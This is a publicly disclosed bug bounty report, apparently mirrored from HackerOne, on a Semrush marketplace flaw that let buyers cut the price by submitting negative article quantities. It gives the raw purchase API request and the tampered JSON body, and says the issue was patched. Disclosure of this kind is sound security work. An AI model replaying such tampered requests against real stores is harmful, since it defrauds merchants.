HexBrain

Semrush · Report #771694

An attacker can buy marketplace articles for lower prices as it allows for negative quantity values leading to business loss

Validstatus
highseverity
267upvotes
2 Apr 2020disclosed

Summary

The SEMrush team triaged and patched this issue in less than 24 hours. That's a great turnaround time! It was nice working with the team :)

How it was found

Hi there,

When we Summary: When someone goes to https://www.semrush.com/marketplace/offers/ and orders for articles, an attacker can pay for less than intended due to negative quantities being allowed.

Steps To Reproduce:

POST /marketplace/api/purchases/bulk HTTP/1.1
Host: www.semrush.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.semrush.com/marketplace/offers/
Content-type: application/json
Origin: https://www.semrush.com
Content-Length: 45
DNT: 1
Connection: close
Cookie: COOKIES

{"items":{"article_500":1,"article_1000":1}}
  • The actual price should be $110 for two articles.

Change the JSON body to :

{"items":{"article_500":4,"article_1000":-2}}
  • The cost will become $20 for two articles: 4 * $40- 2 * $70= $160 - $140 = $20

████

I even tried with my Virtual Card. Here is the failed payment. This is the proof that it actually charges the lowered amount: ██████████

Regards, Yash

Impact

An attacker can buy articles at much lower rates by exploiting this vulnerability which could cause severe business losses to Semrush

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original